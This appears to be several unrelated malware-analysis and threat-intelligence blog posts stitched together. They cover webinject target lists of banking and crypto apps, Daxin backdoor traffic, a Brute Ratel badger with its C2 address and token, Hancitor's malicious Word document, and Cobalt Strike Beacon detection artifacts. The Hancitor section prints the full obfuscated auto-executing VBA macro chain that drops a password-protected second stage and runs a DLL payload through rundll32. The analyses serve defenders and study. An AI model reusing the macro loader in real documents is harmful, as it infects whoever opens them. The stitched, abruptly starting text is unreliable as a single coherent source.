Today, “InTheBox” provides access to over 400 professionally developed webinjects categorized by geography and target. The majority of high-demand injects is related to payment services, including digital banking and cryptocurrency exchangers. During November 2022, the actor arranged a significant update of close to 144 injects, improving their visual design.
### Payment Systems List
- Luno: co.bitx.android.wallet
- Bitfinex: com.bitfinex.mobileapp
- BitPay - Buy Crypto: com.bitpay.wallet
- Buy Bitcoin & Crypto Exchange: com.changelly.app
- Coinbase: Buy Bitcoin & Ether: com.coinbase.android
- Gemini: Buy Bitcoin & Crypto: com.gemini.android.app
- HitBTC – Cryptocurrency Exchange & Trading BTC App: com.hittechsexpertlimited.hitbtc
- HuobiWallet: com.huobionchainwallet.gp
- Kraken Pro: Advanced Bitcoin & Crypto Trading: com.kraken.trade
- PayPal - Send, Shop, Manage: com.paypal.android.p2pmobile
- Wise, ex TransferWise: com.transferwise.android
- Bitstamp – Crypto on the go: net.bitstamp.app
- Electrum Bitcoin Wallet: org.electrum.electrum
- BtcTurk | PRO Trade Bitcoin & Cryptocurrency: com.btcturk.pro
- Electroneum: com.electroneum.mobile
- Enjin: Bitcoin, Ethereum, NFT Crypto Wallet: com.enjin.mobile.wallet
- KuCoin: BTC, Crypto exchange: com.kubi.kucoin
- Lumi Crypto Bitcoin Wallet: com.lumiwallet.android
- BtcTurk | Bitcoin (BTC) Al Sat: com.mobillium.btcturk
- Mycelium Bitcoin Wallet: com.mycelium.wallet
- Okcoin - Buy Bitcoin, Ethereum, Shiba Inu, Crypto: com.okinc.okcoin.intl
- OKEx: Buy Bitcoin, NFTs & Meta: com.okinc.okex.gp
- Paribu | Bitcoin-Kripto Para Alım Satım: com.paribu.app
- Poloniex Crypto Exchange: com.plunien.poloniex
- Samourai Wallet (Early Access): com.samourai.wallet
- TabTrader Buy Bitcoin and Ethereum on exchanges: com.tabtrader.android
- Contasimple - Invoices, estimates & delivery notes: com.v2msoft.contasimple
- Waves.Exchange: com.wavesplatform.wallet
- WazirX - Bitcoin, Crypto Trading Exchange India: com.wrx.wazirx
### e-Commerce List
- AutoScout24 Schweiz – Finden Sie Ihr neues Auto: ch.autoscout24.autoscout24
- Amazon Seller: com.amazon.sellermobile.android
- Tide: Business Bank Account: com.tideplatform.banking
- mobile.de - car market: de.mobile.android.app
- Amazon Shopping: com.amazon.mShop.android.shopping
- SHEIN-Fashion Shopping Online: com.zzkko
- noon shopping: com.noon.buyerapp
- Alibaba.com: com.alibaba.intl.android.apps.poseidon
- Lulu Shopping: com.lulu.commerce
### Social List
- Instagram: com.instagram.android
- WhatsApp Messenger: com.whatsapp
- Facebook: com.facebook.katana
- Tinder - Dating & Make Friends: com.tinder
- ZOOM Cloud Meetings: us.zoom.videomeetings
- Facebook Messenger: com.facebook.orca
### Digital Media List
- Netflix: com.netflix.mediaclient
- Spotify: Music and Podcasts: com.spotify.music
The marketplace has also region-specific categories with a strong focus on the U.S. and U.K. businesses, online services, and financial institutions.
### United States List
- Citi Mobile®: com.citi.citimobile
- E*TRADE: Invest. Trade. Save.: com.etrade.mobilepro.activity
- Invoice Maker: Easy & Simple: com.aadhk.woinvoice
- Airbnb: com.airbnb.android
- Amex: com.americanexpress.android.acctsvcs.us
- AOL - News, Mail & Video: com.aol.mobile.aolapp
- myAT&T: com.att.myWireless
- U by BB&T: com.bbt.myfi
- Citizens Bank Mobile Banking: com.citizensbank.androidapp
- Discover Mobile: com.discoverfinancial.mobile
- Bank of America Mobile Banking: com.infonow.bofa
- KeyBank - Online & Mobile Banking: com.key.android
- LinkedIn: com.linkedin.android
- First Citizens Mobile Banking: com.mcom.firstcitizens
- M&T Mobile Banking: com.mtb.mbanking.sc.retail.prod
- Schwab Mobile: com.schwab.mobile
- TD Bank (US): com.tdbank
- UBS Mobile Banking: com.ubs.swidKXJ.android
- USAA Mobile: com.usaa.mobile.android.usaa
- Woodforest Mobile Banking: com.woodforest
- SECU: org.ncsecu.mobile
- Ally Mobile: Banking & Investing: com.ally.MobileBanking
- BMO Digital Banking: com.bmoharris.digital
- Booking.com: Hotels and more: com.booking
- Bank of the West Mobile: com.botw.mobilebanking
- Chase Mobile: com.chase.sig.android
- Fifth Third Mobile Banking: com.clairmail.fth
- Compass Savings Bank: com.compasssavingsbank.mobile
- Capital One Mobile: com.konylabs.capitalone
- Morgan Stanley Wealth Mgmt: com.morganstanley.clientmobile.prod
- Navy Federal Credit Union: com.navyfederal.android
- PNC Mobile: com.pnc.ecommerce.mobile
- SunTrust Mobile App: com.suntrust.mobilebanking
- Wells Fargo Mobile: com.wf.wellsfargomobile
- Zelle: com.zellepay.zelle
- Robinhood: Stocks & Crypto: com.robinhood.android
- eToro: com.etoro.openbook
### United Kingdom List
- Lloyds Bank Mobile Banking: com.grppl.android.shell.CMBlloydsTSB73
- Halifax Mobile Banking: com.grppl.android.shell.halifax
- Bank of Scotland Mobile Banking: com.grppl.android.shell.BOS
- Nationwide Banking App: co.uk.Nationwide.Mobile
- The Co-operative Bank: com.cooperativebank.bank
- permanent tsb: com.nearform.ptsb
- HSBC UK Mobile Banking: uk.co.hsbc.hsbcukmobilebanking
- Santander Mobile Banking: uk.co.santander.santanderUK
- TSB Mobile Banking: uk.co.tsb.newmobilebank
- Barclays US Credit Cards: com.barclaycardus
- NatWest Mobile Banking: com.rbs.mobile.android.natwest
- Royal Bank of Scotland: com.rbs.mobile.android.rbs
- TSB Bank Mobile Banking: tsb.mobilebanking
- MBNA Card Services App: uk.co.mbna.cardservices.android
- Metro Bank: uk.co.metrobankonline.mobile.android.production
- Tesco Mobile: uk.co.tescomobile.android
- Capital One UK: com.ie.capitalone.uk
- Revolut: com.revolut.revolut
- Deliveroo: Food Delivery: com.deliveroo.orderapp
- Monzo - Mobile Banking: co.uk.getmondo
- Revolut Business: com.revolut.business
- Cashplus Bank - business & personal: co.uk.mycashplus.maapp
- ANNA Business Account & Tax: com.anna.money.app
- Chase UK: com.chase.intl
- Coutts: com.coutts.model.prod.tadpole
- C. Hoare & Co.: com.mobile.CHoareCo
- Nexo: купи BTC, ETH, SOL, AVAX: com.nexowallet
- Coutts Mobile: com.rbs.mobile.android.coutts
- Soldo: com.soldo.business.next
- Pleo: io.pleo.android
- Amex United Kingdom: com.americanexpress.android.acctsvcs.uk
- Proton Mail: Encrypted Email: ch.protonmail.android
- BT Email: com.bt.mail.btprod
- SumUp: com.kaching.merchant
- Lloyds Bank Business: com.lloydsbank.businessmobile
- Business Banking: uk.co.santander.businessUK.bb
Besides the U.S. and the U.K. as two major geographies to target consumers, “InTheBox” provides webinjects for online services and financial institutions from over 28 countries, including Andorra, Argentina, Austria, Australia, Belgium, Brazil, Canada, Chile, Colombia, Germany, Denmark, Spain, France, Georgia, Greece, Hungary, Italy, Japan, Mexico, Malaysia, Nigeria, Peru, Poland, Portugal, Qatar, Romania, Turkey, United Arab Emirates, and Saudi Arabia.
## The Significance
There is no doubt, “In The Box” may be called the largest and probably the only one in its marketplace category providing high-quality webinjects for popular types of mobile malware. It is expected cybercriminals will continue to upgrade their tools to attack consumers and will start developing more advanced webinjects as well. For today, "In the Box" is leveraged by cybercriminals to attack over 300 financial institutions (FIs), payment systems, social media, and online retailers in 43 countries. |
# Daxin Backdoor: In-Depth Analysis, Part Two
In the second of a two-part series of blogs, we examine the communications and networking features of Daxin. This is the concluding part of our in-depth analysis of Backdoor Daxin, advanced malware that is being used by a China-linked espionage group. In this blog, we will analyze the communications and network features of the malware.
## Communications Protocol
In our previous blog, we set up a lab consisting of four separate networks and five machines. Some of the machines had two network interfaces to communicate with different networks, but all packet forwarding functionality was disabled. Each machine ran various network services that were reachable from its neighbors only.
In this section, we will dissect the network traffic between two backdoor instances running on the separate computers “Alice-PC” and “Bob-PC.” The traffic was initiated by the Daxin backdoor running on “Alice-PC” when it was instructed to create a communication channel to “Dave-PC,” passing via two intermediate nodes, “Bob-PC” and “Charlie-PC,” as described previously.
Using Wireshark, we captured traffic between two backdoor instances, one running on “Alice-PC” and the other on “Bob-PC.”
Starting with the key exchange, all backdoor communication is carried out by exchanging messages that follow the same underlying format: The magic value is always 0x9910 or 0x9911. The kind value identifies the state transition during key exchange. Then, once the encrypted communication channel is established, it encodes the purpose of each message and determines the formatting of the data that follows the fixed-size header.
The initial message of the key exchange in the Wireshark capture is not encrypted. It can be decoded as follows: The fields magic and kind correspond to the first three bytes of TCP data, 0x10 0x99 0x11. On the target computer, in case it is infected with a copy of the malicious driver, this sequence causes the TCP connection to be hijacked, as explained in part one of this blog series.
The target checks that the received message is valid according to the session state machine, ensuring that magic is the expected constant 0x9910 and kind matches any of two supported values: 0x10 or 0x11. Next, it generates a nonce to use when encrypting any future incoming messages. Finally, it sends a response message with the nonce, its own details, and the information about the infected machine.
Parts of the response message are encrypted using a combination of the following algorithms. The details of this response message are as follows: The message includes the backdoor login that is recognized during the following key exchange step, and what looks like malware build and version numbers. Looking at the decoded message, we find references to “XRT” and these reassemble the hardcoded name “NDISXRPT” that we documented when discussing the NdisRegisterProtocol() call during driver initialization.
The initiator responds with the backdoor login and hashed password. |
# Analyzing a Brute Ratel Badger
09 Jul 2022
Nowadays, Brute Ratel (sometimes called the “Angry Monkey C2”) seems to be a hot topic within the information security community. There’s been lots of drama surrounding the author (ParanoidNinja), rumors of the C2 being backdoored, and even some blog posts from well-known and respected individuals within the security community indicating that the C2 framework is potentially being used by APT29 (aka the Russian State Sponsored groups). So, with all these controversies, where do we go from here? Well, validating the claim that the C2 Framework is backdoored can be quite difficult to prove as that would involve me spending several thousand dollars to acquire the framework itself. So, that’s not exactly feasible. I can, however, get the next best thing: a Brute Ratel Beacon, or Agent (or as they like to call it, a “Badger”).
## Acquiring a Badger for Analysis
How can we do this exactly? Fortunately, I have a VirusTotal Enterprise license! This means we can pull down (download) a publicly tagged “Brute Ratel” sample from the community. To do so, we’re going to use a search for something like `Comment:"Brute Ratel"` and see if we get any hits. Surprise surprise, we got six hits! Let’s go with the most obvious one, `badger_x64.exe` (SHA256 Sum: `3ad53495851bafc48caf6d2227a434ca2e0bef9ab3bd40abfe4ea8f318d37bbe`).
## Lab Setup
For this lab, we will be using REMWorkstation + REMnux. Here’s a diagram that breaks down the lab setup:
- REMWorkstation has the IP Address of 192.168.128.12
- REMNux has the IP Address of 192.168.128.10
- Default Gateway has the IP Address of 192.168.128.2
- REMNux can route to 192.168.128.2, but the route is not configured.
- If REMNux is configured to route to the Default Gateway, outbound traffic to the internet is allowed.
In addition:
- REMNux will have an iptables rule that will accept all and any traffic going into it.
- REMNux will be running FakeDNS and iNetSim.
- REMNux will be running WireShark.
- REMWorkstation will be running Fiddler.
And that’s our lab!
## Dynamic Analysis - Malware Detonation
Now that we have our sample acquired, and you’re familiar with my lab setup, let’s double click some EXEs! So, right off the bat, we can see some beacons to 156.65.186.50 over HTTPS. Looking at these requests in Fiddler, we can see that the sample is using the user agent: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36` with no extra headers. This is surprisingly bare. Let’s pivot over to iNetSim and see what’s going on over there.
On that side, we can see a little bit more. The file that the “Badger” requested is `/admin`, and there is also some POST data that we missed! Let’s see if we can find that in Fiddler. Unfortunately, I could not find the request in Fiddler; I’ll have to revert and redetonate the sample in a bit. Edit: Fiddler actually caused some issues with cutting the POST data off to iNetSim.
## Procmon/ProcDot Analysis
For now, let’s move over to ProcMon and ProcDot and see what the Badger is looking for. Starting out, this is an absolutely massive graph. Let’s start from the top and work our way down. At the top, it appears that the Badger is first checking to see if there are any registry keys correlated to a proxy on the system. Since no proxies are in place, BRC4 likely found nothing. On the far right, we can see a couple of cached web page responses saved to disk. If you’d like to read that data, all it contains is the iNetSim HTTP Response.
Moving on down the graph, we can see another read attempt on another registry key relating to proxies. One interesting thing I’d like to point out is the Badger is leveraging a bunch of ThreadCreates and ThreadOpens to potentially confuse AV or EDR. Zooming out, all the black diamonds are all new threads and Thread ID Numbers. Scrolling down a bit more, this pattern continues. More threads being created to read registry keys relating to proxies.
## Back to iNetSim
Now that we know a bit more about what the program is trying to do, let’s go back to iNetSim and read the POST data from the Web Server. All of the POST data is stored in `/var/lib/inetsim/postdata/*`. I hope that helps someone in the future. Let’s bring the input into CyberChef and decode the Base64.
## Searching for Encryption in APIMonitor
Interesting! The POST Data is encrypted. I think I know a trick or two that could help us decode this. To do so, we’ll need to hop into API Monitor and hook into the process and observe the API Calls the Badger is performing. We’re looking for a call to Microsoft’s Cryptographic API or a call to the HTTP APIs as we know some cryptographic function performs before the POST data is sent.
By searching for a common Windows API (RtlUTF8ToUnicodeN), we can quickly find where some data conversion is taking place to give us a good starting point of reference. Looking at the CallStack, we see some lovely Windows API calls that look very close to what we need. Since some sort of technique is being used to dynamically resolve the APIs needed, let’s back off of APIMonitor and move over to a Debugger.
## Pivoting to x64Dbg
I have set up x64Dbg to use counter-antidebugging techniques using ScyllaHide, so if there are any techniques implemented, we won’t have to worry about them. After letting the program run for a while, I set a breakpoint on a couple of the common HTTP APIs. We got a hit on InternetOpenW; to my surprise, in the stack window, here we are. We have the unencrypted data staring at us! It appears to be some JSON that looks like so:
```json
{
"desktop": "desktop-2c3Iqh0",
"wver": "x64/10.0",
"arch": "x64",
"bld": "16322",
"p_name": "<base64 blob>",
"uid": "REM",
"pid": ""
}
```
The Base64 blob is still relatively interesting to me; `p_name`, could this mean program_name? Let’s decode it! It appears so! I set a breakpoint earlier in the stack and let the execution flow to see if I could extract any more information from the Badger, doing so did yield some extra results! We have an auth token now and a more complete JSON blob.
```json
{
"cds": {
"auth": "2K4TBS7L9GK2C205"
},
"mtdt": {
"h_name": "DESKTOP-2C3IQH0",
"wver": "x64/10.0",
"arch": "x64",
"bld": "16322",
"p_name": "<base64 blob>",
"uid": "REM",
"pid": ""
}
}
```
Unfortunately, our analysis stops here as we don’t have a live C2 server to observe interactions with. Though, we could explore how the Badger interacts with the C2 server if we carefully observe how the Badger parses the response from the C2 server. There are definitely some hardcoded commands that we would be able to use to manipulate the Badger itself with iNetSim. I would have liked to have caught the Windows API that actually encodes/encrypts this data, so I could write a small decoder for the information if you have the Badger; but it appears that wasn’t meant for tonight.
## Basic Static Analysis
So, this section is going to be much shorter than the last, as I’ve already found the interesting C2 related data. Now, we’re going to play an interesting game of “How good is Brute Ratel’s Obfuscation Techniques”! The answer isn’t very good. To start, we’re going to chuck the EXE into CyberChef and look at some of the clear text ASCII values.
### HTTP Request Information
So, right off the bat, it’s not looking so good. We can see a lot of interesting strings; we can see a lot of the HTTP POST information broken up into various strings. For example:
- `/logi`
- `AppleWeb`
- `Kit/537`
- `65.186.5`
- `159`
- `443`
Some of these strings are incredibly meaningful! For example, putting together the bits `159.65.186.50` gives away our command and control server, and `443` gives away the port! How interesting…
### Windows APIs
Looking a little bit lower, we can see some of the Windows APIs the program uses as well. They appear to be jumbled up, but still readable to the human eye.
- `VirtualProtect`
- `GetLastError`
- `GetModuleHandleW`
- `GetProcAddress`
The more you keep looking, the more you see the pattern.
### HTTP POST Data
Interestingly enough, you can actually find a lot of the HTTP POST Data that we had to work so hard to reverse engineer to find:
- `arch`
- `bld`
- `fname`
- `h_name`
Continuing our search, we may be able to learn more about the Badger's capabilities. Looking at the screenshot above, towards the bottom, we can make out “Download Failed”. Perhaps this Badger has the ability to upload files to the server? Let’s keep digging.
### Badgers like LDAP!
It looks like the Badger uploads PNG/image files to the C2 server. It also makes some queries to LDAP as well and will communicate with the Global Catalog. If it can’t, it’ll spit out some binding errors.
### The Badger is Self Aware?
Continuing our string-hunt, here’s one of the most interesting sets of strings: Badger itself is embedded as a string in the binary. I’ve already loaded up the binary into Ghidra and there’s a whole lot of nothing. It seems to be a bit beyond my skill level to reverse engineer in a classic sense, so I’ll have to do some more research on my own time to figure out if I can post a follow-up showing off the actual binary internals.
## Misc Findings
Here are some interesting things I found that I wanted to include in the post, but couldn’t easily write into the flow of the post. I still think this is worth mentioning.
### PUNYCode! The thing I forgot existed?
Here is an interesting String Compare after executing an HTTP Request; it appears that this Badger is checking to see if some of the response headers contain `xn--`. This may be a sign that a threat actor is spoofing a common domain like `Google.com` to `http://xn--ggle-0nda.xn--om-ubc/`, which displays just like the normal domain does! Browser settings can be configured to always display `xn--`, though some by default will render the link as normal. Thanks to @ShitSecure for pointing this out.
### Traffic Generation to windowsupdate.com
Another interesting aspect of this Badger is that it periodically reaches out to `ctldl.windowsupdate.com`. I originally thought this was Windows being Windows, but it turns out that this is hardcoded within the binary. This is likely a cloaking mechanism to throw off AV/EDR/Sandboxes.
I hope you all enjoyed! ~Ronnie |
# HANCITOR: Analysing The Malicious Document
HANCITOR (aka CHANITOR) is a prevalent malware loader that spreads through social engineering in the form of Word or DocuSign® documents. The infected document includes instructions for the victim to manually allow the malicious macro code to be executed. The HANCITOR executable payload dropped by the macro code is used to download other malware on the victim machines such as FickerStealer, Cuba ransomware, Zeppelin ransomware, and Cobalt Strike beacons.
In this post particularly, we will analyze the first two stages of a HANCITOR infection through Word documents. Similar to other campaigns, the initial stage is delivered through malspam, and the final HANCITOR DLL payload is dropped and executed after the victim opens the document.
To follow along, you can grab the sample as well as the PCAP files for it on Malware-Traffic-Analysis.net.
**SHA256:**
8733E81F7EF203F4D1C4208B75C6AB2548259CC35D68DF10EBF23A31E777871B
## Step 1: Dumping First Stage Macros
Upon opening the document in Word, we can see an image directing us to click on the “Enable editing” and “Enable content” buttons with a security alert saying that macros have been disabled. This hints to us that this document contains some macro code that will be executed when we click to enable macro.
We can use olevba to quickly dump and analyze the document’s macro code. As shown below, the tool identifies the Document_Open function with type AutoExec, which is executed if the victim presses the “Enable content” button. There are other suspicious commands to execute other files on the system, so we can analyze the VBA code to examine its full functionalities.
Below is the full VBA macros dumped from olevba.
### Stage 1 Macro Code Dump
```vba
VBA MACRO ThisDocument.cls
in file: 0929_966655534820.doc – OLE stream: ‘Macros/VBA/ThisDocument’
Option Explicit
Option Compare Text
Dim nccx As String
Dim vssfs As String
Private Sub Document_Open()
Dim dfgdgdg
Call s1("Lo")
Dim fds, fdsa As String
fds = "\"
fdsa = ".d"
Call s2("cal/")
Call ass
Call acc
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)
If Dir(kytrewwf & fds & "zoro" & fdsa & vssfs) = "" Then
Dim mySum
mySum = Application.Run("bvxfcsd")
If Len(nccx) > 2 Then
Call nam(nccx, kytrewwf)
Call pppx(kytrewwf & fds & "zoro" & fdsa & vssfs)
End If
End If
End Sub
Sub ass()
vssfs = "o"
End Sub
Sub acc()
vssfs = vssfs & "c"
End Sub
Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject
Call Search(MyFSO.GetFolder(asda), nccx)
End Sub
```
### Step 2: Analyzing First Stage Macros
The Document_Open function is a special function that gets executed when the document is opened, so it is definitely a good starting point for us to begin analyzing. The raw Document_Open function is documented below.
```vba
Private Sub Document_Open()
Dim dfgdgdg
Call s1("Lo")
Dim fds, fdsa As String
fds = "\"
fdsa = ".d"
Call s2("cal/")
Call ass
Call acc
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)
If Dir(kytrewwf & fds & "zoro" & fdsa & vssfs) = "" Then
Dim mySum
mySum = Application.Run("bvxfcsd")
If Len(nccx) > 2 Then
Call nam(nccx, kytrewwf)
Call pppx(kytrewwf & fds & "zoro" & fdsa & vssfs)
End If
End If
End Sub
```
Most of the variable declarations and function calls are just simple obfuscation techniques, which are used to break down strings and hide them from being dumped directly from the Word document. If we resolve these and replace the variables with their content, the first IF statement becomes a check to see if the “zoro.doc” file in the user template path exists.
If it doesn’t exist, the macros call the Application.Run method to execute the function bvxfcsd. Below is the cleaned up version of this function’s code.
```vba
Sub bvxfcsd()
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.TypeBackspace
Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)
ntgs = 50
sda = 49
While sda < 50
ntgs = ntgs - 1
If Dir(Left(uuuuc, ntgs) & "Local/Temp", vbDirectory) = "" Then
Else
sda = 61
End If
Wend
Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & "Local/Temp")
End Sub
```
The first thing we see is a set of calls executing methods from the Selection property. Since the cursor points to the beginning of the document initially, these calls move it down 3 lines, right 2 characters, down 3 lines, right 2 characters, and delete one character from the cursor. This block of code might seem harmless, but it is an effective way to manually drop VBA objects into the file system. If we move the cursor according to the steps above, we see that the cursor stops at a visible but small black box that isn’t there initially.
This black box represents a VBA object embedded in the document, and once interacted by the victim or the VBA macros, the object is automatically dropped to the file system. Interactions that trigger this include copying the object, which is invoked when the macros call the function Selection.Copy.
Microsoft documents here that embedded Word Objects are stored as temporary files in the Temp directory for the document to interact with if needed. Therefore, we know that this object, whatever it is, is dropped somewhere in the victim’s Temp directory.
We can go further and examine the object’s properties to find the exact path of it.
As shown, the object is dropped to the file zoro.kl in the folder {90224AF4-616C-4FE4-9467-D6BA4B34E24E} inside the Temp directory of my analysis VM. This is in fact the second stage Word document that is later launched in the code, but we will keep analyzing the VBA macros to see how the code interacts with it.
After dropping this file, the function loops to find the path to the Local\Temp directory that is valid and calls the function hdhdd with the Temp directory path as parameter. Below is the content of that function.
```vba
Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject
Call Search(MyFSO.GetFolder(asda), nccx)
End Sub
```
This function basically just retrieves the folder object for the path from its parameter, which is the Temp path, and calls the Search function. Below is the cleaned up version of the function’s content.
```vba
Sub Search(in_dirpath As Object, out_string As String)
Dim subfolder As Object
Dim fileobject As Object
For Each subfolder In mds.SubFolders
Search subfolder, in_dirpath
Next subfolder
For Each fileobject In in_dirpath.Files
If fileobject.Name = "zoro.kl" Then
out_string = fileobject
End If
Next fileobject
Exit Sub
ErrHandle:
Err.Clear
End Sub
```
The first loop of this function iterates through all subfolders in the Temp path. For each of those subfolders, the function recursively calls itself to search in that subfolder. At the base case of the recursion where there are no more subfolders in the current folder, the code iterates through all file objects and checks if its name is zoro.kl.
Once found, the code sets the second parameter to this file object. Ultimately, this Search call recursively searches for the zoro.kl file that is dropped earlier and sets the global variable nccx to the file path.
After this part, the code picks up back in the Document_Open function where the final IF statement checks if the length of nccx (the zoro.kl file path) is longer than 2. It then calls the function nam passing the file path and the user template path respectively. Below is the cleaned up version of this function.
```vba
Sub nam(zoro_kl_file_path As String, user_template_path As String)
Dim oxl
oxl = "\zoro.doc"
Name zoro_kl_file_path As user_template_path & oxl
End Sub
```
This function executes the VBA Name statement to rename the zoro.kl file in the Temp folder to zoro.doc and move it to the user template folder.
The final call in Document_Open is to the function pppx with the full path to the zoro.doc file as parameter. Below is the content of that function.
```vba
Sub pppx(pili As String)
Documents.Open FileName:=pili, ConfirmConversions:=False, ReadOnly:= _
False, AddToRecentFiles:=False,
PasswordDocument:="doyouknowthatthegodsofdeathonlyeatapples?", _
PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub
```
This function executes the Documents.Open method to open the zoro.doc file. A different thing about this newly dropped document is that it comes with the password “doyouknowthatthegodsofdeathonlyeatapples?”, which is used to open and execute the macro code inside.
## Step 3: Dumping Stage 2 Macros
Similar to the first stage, the second stage document contains some macro code that can be dumped by olevba. However, the default olevba command does not work for this document and throws an error that the document cannot be decrypted.
Since the document is encrypted with the password we see in the earlier stage, we must provide that in the olevba command to decrypt the document before dumping its macro code.
```bash
olevba zoro.doc -p doyouknowthatthegodsofdeathonlyeatapples?
```
As shown from the olevba result below, the document’s macros contain a Document_Open function with type AutoExec as well as the functionality to run an executable file. The content of the macros is recorded below.
### Stage 2 Macro Code Dump
```vba
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin – OLE stream: ‘VBA/ThisDocument’
Option Explicit
Option Compare Text
Dim hdv As String
Dim bbbb As String
Dim med As String
Private Sub Document_Open()
Dim vcbc As String
Dim dfgdgdg
bbbb = "ru" & "ndl"
vcbc = Options.DefaultFilePath(wdUserTemplatesPath)
If Dir(vcbc & "\gelforr.dap") = "" Then
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.TypeBackspace
Selection.Copy
Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv)
Dim pattison
pattison = "\gelforr.dap"
Dim cvzz As String
cvzz = "l3" & "2.exe"
Shell (bbbb & cvzz & " " & vcbc & pattison & ",BNJAFSRSQIX")
ActiveDocument.Close
End If
End If
End Sub
Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject
Call Search(MyFSO.GetFolder(asda), hdv)
End Sub
```
### Step 4: Analyzing Stage 2 Macros
Again, we begin our analysis at the Document_Open function as it is the entry point of the code. Here, we can see a similar code pattern to the code in the first stage. It first checks if the gelforr.dap file exists in the user template path, and if it does not, the same methods from the Selection property are executed to drop the document’s VBA object into the Temp directory.
```vba
Private Sub Document_Open()
Dim vcbc As String
vcbc = Options.DefaultFilePath(wdUserTemplatesPath)
If Dir(vcbc & "\gelforr.dap") = "" Then
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.TypeBackspace
Selection.Copy
Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv)
Shell ("rundll32.exe" & " " & vcbc & "\gelforr.dap" & ",BNJAFSRSQIX")
ActiveDocument.Close
End If
End If
End Sub
```
Next, the function bvxfcsd is called. As seen below in the code’s cleaned-up version, this function is a copy of the function bvxfcsd in the first stage, and they both call the function hdhdd to search for the dropped VBA object in the Temp directory. The only difference between these stages is the name of the object file being searched, with the second stage’s document searching for the filename gelfor.dap.
```vba
Sub bvxfcsd()
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)
ntgs = 50
sda = 49
While sda < 50
ntgs = ntgs - 1
If Dir(Left(uuuuc, ntgs) & "Local/Temp", vbDirectory) = "" Then
Else
sda = 61
End If
Wend
Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & ewrwsdf)
End Sub
```
Once found, the path to the gelfor.dap file is written to the hdv variable, which is then passed to the function nam as parameter. Similar to the nam function in the first stage, this function renames the gelfor.dap file in the Temp path to gelforr.dap and moves it to the user template folder.
```vba
Sub nam(pafs As String)
Name pafs As pls & "\gelforr.dap"
End Sub
```
Finally, the code calls the Shell VBA function to execute the following command.
```bash
rundll32.exe <user template path>\gelforr.dap, BNJAFSRSQIX
```
From this, we know that the dropped VBA object is a DLL file, and the second stage’s document executes its exported function BNJAFSRSQIX using the rundll32.exe executable. The dropped DLL is the final HANCITOR payload that is used to download a Cobalt Strike beacon, and we will be analyzing HANCITOR functionalities using this sample in the next blog post!
If you have any questions regarding the analysis, feel free to reach out to me via Twitter. |
# Getting the Bacon from the Beacon
Kareem Hamdan and Lucas Miller
September 29, 2020
In recent months, CrowdStrike® Services has observed a continued increase in the use of Cobalt Strike by eCrime and nation-state adversaries to conduct their operations following the initial access to victims’ environments. Cobalt Strike is a commercially available post-exploitation framework developed for adversary simulations and red team operations and features an easy-to-use interface. Although the vendor uses processes and technology measures in an effort to limit distribution of Cobalt Strike to security professionals, adversaries have also been observed using Cobalt Strike. In the CrowdStrike 2020 Threat Hunting Report, The Falcon OverWatch team reported Cobalt Strike as the #2 most common penetration testing tool observed in the first half of 2020.
A common feature used by adversaries is the Cobalt Strike framework client agent, known as Beacon. The Beacon client agent is executed in the memory space of a compromised system, typically leaving minimal on-disk footprints. This blog discusses CrowdStrike’s research and testing of Cobalt Strike’s Beacon in an isolated Active Directory domain to identify host-based indicators generated from the use of this tool. This blog also enumerates and provides an explanation of host-based artifacts generated as a result of executing specific built-in Beacon commands. The artifacts can be used to create detection and prevention signatures in Windows environments, aiding in the positive identification of remnants of Beacon execution.
## Beacon Behavior Summary
Adversaries often execute a variety of Beacon commands once they establish a foothold within an environment. Beacon commands can be used to spawn other Beacons on additional systems accessible to the initial Beacon, effectively furthering persistence in the target environment. Beacons can also be leveraged for remote access and execution.
The execution of the commands highlighted in this blog will generate a variety of Windows security events depending on the context of the command: The Beacon commands `jump psexec` and `jump psexec_psh` will generate an EID 7045 (Service Installation) from `System.evtx`. The additional commands will generate an EID 400 event log (PowerShell Engine Startup) from `Windows PowerShell.evtx`. The majority of PowerShell Engine Startup events generated by Cobalt Strike will have the `HostApplication` field begin with a command prefix. With the default configuration that command prefix is `powershell -nop -exec -bypass -EncodedCommand`. Although this prefix is configurable, CrowdStrike has observed adversaries leverage the default configuration in multiple incident response (IR) engagements.
## Beacon Commands
As part of our research, CrowdStrike Services evaluated the following Beacon commands, which are encountered frequently in incident response engagements:
- `powershell` and `powershell-import`
- `powerpick`
- `jump psexec`
- `jump psexec_psh`
- `jump winrm`
- `remote-exec wmi`
- `remote-exec powershell`
In the following sections we’ll review the purpose behind each of these commands, and the artifacts generated that may be useful for security analysts and threat hunters.
